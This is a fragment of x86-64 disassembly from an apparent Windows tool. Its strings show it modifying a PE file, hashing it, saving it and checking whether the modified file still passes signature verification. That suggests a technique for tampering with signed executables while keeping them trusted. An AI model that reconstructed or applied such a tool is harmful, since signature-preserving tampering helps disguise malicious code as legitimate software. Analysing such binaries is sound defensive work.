mov r8d, ebx
mov rcx, r13
mov rdx, rax
mov r14, rax
call fcn.1400012d0
lea rdx, [rbp + 0x3a0]
test eax, eax
je 0x140002644
mov r8, r14
lea rcx, str.__:PE_File__s_SHA1_Hash_is_:__s_n
call fcn.140001650
jmp 0x140002659
lea rcx, str.___:Could_not_compute_PE__s_SHA1_Hash_n
call fcn.140001650
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rdx, [rbp + 0x3a0]
lea rcx, str.__:Saving_Modified_PE_file_to__s_n
call fcn.140001650
lea rdx, [0x14000465c]
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov edx, dword [rsp + 0x40]
add edx, r15d
mov r9, rax
mov r8d, 1
mov rcx, r13
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov qword [rsp + 0x30], 0
lea rcx, [rbp + 0x3a0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
lea rax, [rbp + 0x3a0]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400026e0
mov rcx, rsi
lea rdx, [rbp + 0x3a0]
call fcn.140001430
mov rdx, rbx
call fcn.140001490
test eax, eax
lea rdx, str.___:Modified_PE_File__s_is_NOT_SIGNED__FAILURE__n
lea rcx, str.__:Modified_PE_File__s_is_SIGNED__Success__n
cmovne rcx, rdx
lea rdx, [rbp + 0x3a0]
call fcn.140001650
lea rcx, str._n__:Done_n
call fcn.140001650
mov rbx, qword [rsp + 0x58]
test rbx, rbx
je 0x14000273f
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [rsp + 0x48]
test rax, rax
je 0x140002752
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x140002765
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [rbp + 0x270]
test r13, r13
je 0x14000277a
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test r14, r14
je 0x140002788
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140002798
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3